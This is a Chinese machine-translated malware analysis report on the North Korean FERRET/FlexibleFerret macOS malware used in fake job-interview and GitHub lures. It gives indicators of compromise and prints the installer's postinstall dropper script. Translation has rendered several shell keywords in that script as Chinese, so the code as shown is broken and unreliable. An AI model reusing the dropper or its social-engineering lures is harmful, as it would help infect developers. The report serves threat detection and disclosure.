朝鲜APT组织Lazarus恶意软件家族进一步变种被发现

苹果公司向其设备内置恶意软件工具XProtect推送了签名更新,以阻止其所谓的 macOS Ferret 家族的几种变体:FROSTYFERRET_UI、FRIENDLYFERRET_SECD 和 MULTI_FROSTYFERRET_CMDCODES。这个朝鲜恶意软件家族最早于12 月被研究人员描述,并于1 月初进一步被描述,并被确定为朝鲜传染性面试活动的一部分,在该活动中,威胁行为者通过工作面试过程诱骗目标安装恶意软件。
FERRET 家族背景
如上所述,先前的研究人员已经描述了与传染性面试活动相关的几种恶意软件组件。目标通常会被要求通过一个链接与面试官进行交流,该链接会抛出一条错误消息,并要求安装或更新虚拟会议所需的某些软件,例如 VCam 或CameraAccess。
在之前的报告中,观察到的恶意软件运行了一个恶意的 shell 脚本,并安装了伪装成 Google Chrome 更新的持久代理和可执行文件。1 月 5 日发布的一篇精彩文章深入探讨了 shell 加载程序的细节和源代码,ffmpeg.sh
以及恰如其分地称为 的 Go 后门和窃取程序ChromeUpdate
。
苹果上周的签名更新针对了该恶意软件活动的一些组件,包括一个伪装成操作系统文件的后门,其名称为com.apple.secd
(又名_FRIENDLYFERRET)以及持久模块(ChromeUpdate
又名_FROSTYFERRET_UI)。CameraAccess
或许并不令人惊讶的是,FERRET 恶意软件家族中存在的指标与朝鲜其他活动中发现的指标重叠,包括SentinelLABS 最近描述的Hidden Risk活动。
Hidden Risk 的第二阶段“增长型”恶意软件中也出现了一些常见的朝鲜恶意软件痕迹
FERRET 与近期其他 DPRK 活动的另一个共同点是使用 Dropbox 进行数据泄露以及使用api.ipify.org
解析主机的公共 IP。
21 22 3. __TEXT.__cstring ascii https://api.ipify.org
39 40 3. __TEXT.__cstring ascii https://api.dropboxapi.com/oauth2/token
45 46 3. __TEXT.__cstring ascii https://content.dropboxapi.com/2/files/upload
FlexibleFerret | 扩展的恶意软件家族
在 Apple 推出 XProtect 版本 5286 之前,SentinelLABS一直在跟踪先前研究人员发现的恶意软件,并分析ChromeUpdate
标识符为 的样本变体。与之前的样本不同,此恶意软件使用有效的 Apple Developer 签名 ( ) 和 Team ID ( )Mac-Installer.InstallerAlert
进行签名。以此为基础,我们发现了另一个之前未见过的感染媒介和一组相关样本。VFYPGAKSLY``58CD8AD5Z4
versus.pkg
该植入程序是一个名为(388ac48764927fa353328104d5a32ad825af51ce) 的Apple 安装程序包,其中包含两个应用程序InstallerAlert.app
和versus.app
,以及一个名为的独立二进制文件zoom
,以及postinstall.sh
父文件夹中的脚本。
FlexibleFerret 释放器的文件内容_versus.pkg_
获取提升的权限后,安装程序包使用 postinstall 脚本释放并执行 中的多个组件/var/tmp/
。postinstall 脚本是一个 bash 脚本,它还会将其进度记录到/private/tmp/
名为 的单独文件夹中的文件中postinstall.log
。
#!/bin/bash
记录脚本的启动
echo " $(date) : 正在运行安装后脚本..." >> /tmp/postinstall.log
检查 zoom 文件是否存在并执行它
if [ -f /var/tmp/zoom ]; then
echo " $(date) : Zoom 文件存在,正在执行..." >> /tmp/postinstall.log
/var/tmp/zoom >> /tmp/postinstall.log 2>&1 &
else
echo “ $(date) : 未找到 Zoom 文件” >> /tmp/postinstall.log
fi
等待2秒
睡眠2
如果存在,则打开 InstallerAlert.app
if [ -d "/var/tmp/InstallerAlert.app" ]; then
echo " $(date) : Opening InstallerAlert.app..." >> /tmp/postinstall.log
打开“/var/tmp/InstallerAlert.app” >> /tmp/postinstall.log 2>&1
其他
回显 “ $(date) : 未找到 InstallerAlert.app” >> /tmp/postinstall.log
fi
等待2秒
睡眠2
记录脚本的结束
echo " $(date) : 安装后脚本完成。" >> /tmp/postinstall.log
退出0
FlexibleFerret 组件被放入主机的_/var/tmp 文件夹中_
虚假zoom
二进制文件(ee7a557347a10f74696dc19512ccc5fcfca77bc5)访问域名zoom.callservice[.]us
。(*注意:这不是合法的 Zoom 域名)。
同时,同一脚本执行 ,InstallerAlert.app
进而调用/tmp/versus.app
。 其主要功能是诱骗用户认为恶意软件是一个无法运行的合法应用程序,方法是抛出一个带有错误消息“此文件已损坏,无法打开”的警报对话框,该消息模仿了 Gatekeeper 通常抛出的真正警告消息。
_在versus.app_二进制文件中嵌入字符串,以欺骗受害者恶意软件未执行
然而,在后台,恶意软件会在用户库 LaunchAgents 文件夹中安装一个带有标签的持久性项com.zoom.plist
(*注意:真正的 Zoom Launch 服务文件实际上是[~]/Library/LaunchAgents/us.zoom.ZoomDaemon.plist
)。
用于设置持久性的_zoom_二进制文件中的字符串
LaunchAgent 以路径 处的另一个可执行文件为目标/private/var/tmp/logd
,再次伪装成操作系统的合法部分(logd是统一日志系统的一部分,但在该路径处没有组件)。在撰写本文时,我们无法获得该文件的副本,该文件似乎是从当前未响应的 C2 接收的。
FlexibleFerret 的执行会在_/private/tmp/中留下一个日志_
FlexibleFerret | InstallerAlert 和 ChromeUpdate 的关联
这些组件与 Apple 最近的 FERRET 规则以及之前报告的样本之间的联系在于Mac-Installer.InstallerAlert
中的二进制文件InstallerAlert.app
。此二进制文件ChromeUpdate
与 二进制文件功能匹配,相似度高达 86%。它包含的字符串和函数与 Apple 签名标识为恶意软件的其他文件完全相同ChromeUpdate
。但重要的是,XProtect 并未InstallerAlert
将 恶意软件中发现的其他二进制文件或任何其他二进制文件versus.pkg
识别为恶意软件。
此外,与 不同ChromeUpdate
,InstallerAlert
是使用现已撤销的开发人员签名和团队 ID 进行签名的。通过分析此签名,我们可以找到其他几个 FlexibleFerret 样本,这些样本被包括 SentinelOne 在内的多家安全供应商视为恶意软件。
“传染性采访”活动积极针对 GitHub 开发人员
如前所述,FlexibleFerret 恶意软件是“传染性采访”活动的一部分,该活动至少早在 2023 年 11 月就开始了。SentinelLABS 进一步观察到威胁行为者继续尝试ffmpeg.sh
通过在合法开发人员的存储库中打开虚假问题来利用安装程序脚本来危害开发人员。在 12 月下旬的一个例子中,一位“评论者”留下了下载 FERRET 系列植入程序的说明。
威胁行为者试图诱骗 GitHub 用户下载 FERRET 恶意软件
这表明威胁行为者乐于扩大其传播恶意软件的载体,不再仅仅针对求职者,而是更普遍地针对开发人员。
结论
“传染性采访”活动和 FERRET 恶意软件家族代表着一场持续而活跃的活动,威胁者会根据需要从签名应用程序转向功能相似的未签名版本。威胁者使用各种策略将恶意软件传播到开发者社区中的各种目标,既有针对性的攻击,也有通过社交媒体和 GitHub 等代码共享网站采用的看似更“散弹枪”式的方法。
Indicators of Compromise
FrostyFerret ZIPS
203f7cfbf22b30408591e6148f5978350676268b VCam_ARM64.zip
a25dff88aeeaaf9f956446151a9d786495e2c546 CameraAccess.zip
aa172bdccb8c14f53c059c8433c539049b6c2cdd VCam_x86_64.zip
XProtect_FrostyFerret_UI
7da429f6d2cdd8a63b3930074797b990c02dc108
7e07765bf8ee2d0b2233039623016d6dfb610a6d
828a323b92b24caa5f5e3eff438db4556d15f215
831cdcde47b4edbe27524085a6706fbfb9526cef
8667078a88dae5471f50473a332f6c80b583d3de
dba1454fbea1dd917712fbece9d6725244119f83
e876ba6e23e09206f358dbd3a3642a7fd311bb22
XProtect_FriendlyFerret_SECD
17e3906f6c4c97b6f5d10e0e0e7f2a2e2c97ca54
2e51218985afcaa18eadc5775e6b374c78e2d85f
7e07765bf8ee2d0b2233039623016d6dfb610a6d
de3f83af6897a124d1e85a65818a80570b33c47c
FlexibleFerret Installer
388ac48764927fa353328104d5a32ad825af51ce versus.pkg
FlexibleFerret Mach-Os
1a28013e4343fddf13e5c721f91970e942073b88 InstallerAlert
3e16c6489bac4ac2d76c555eb1c263cd7e92c9a5 InstallerAlert
76e3cb7be778f22d207623ce1907c1659f2c8215 InstallerAlert
b0caf49884d68f72d2a62aa32d5edf0e79fd9de1 InstallerAlert
bd73a1c03c24a8cdd744d8a513ae8d2ddfa2de5f InstallerAlert
ccac0f0ba463c414b26ba67b5a3ddaabdef6d371 InstallerAlert
d8245cdf6f51216f29a71f25e70de827186bdf71 InstallerAlert
b071fbd9c42ff660e3f240e1921533e40f0067eb Mac-Installer.AlertMsg
ee7a557347a10f74696dc19512ccc5fcfca77bc5 zoom
FlexibleFerret Signer
Name: Liseth Alejandra Trujillo Garcia
Team Identifier: 58CD8AD5Z4
Dev Identifier: VFYPGAKSLY
FlexibleFerret Bundle Ids
Mac-Installer.AlertMsg
Mac-Installer.InstallerAlert
FlexibleFerret DNS Domain
zoom.callservice[.]us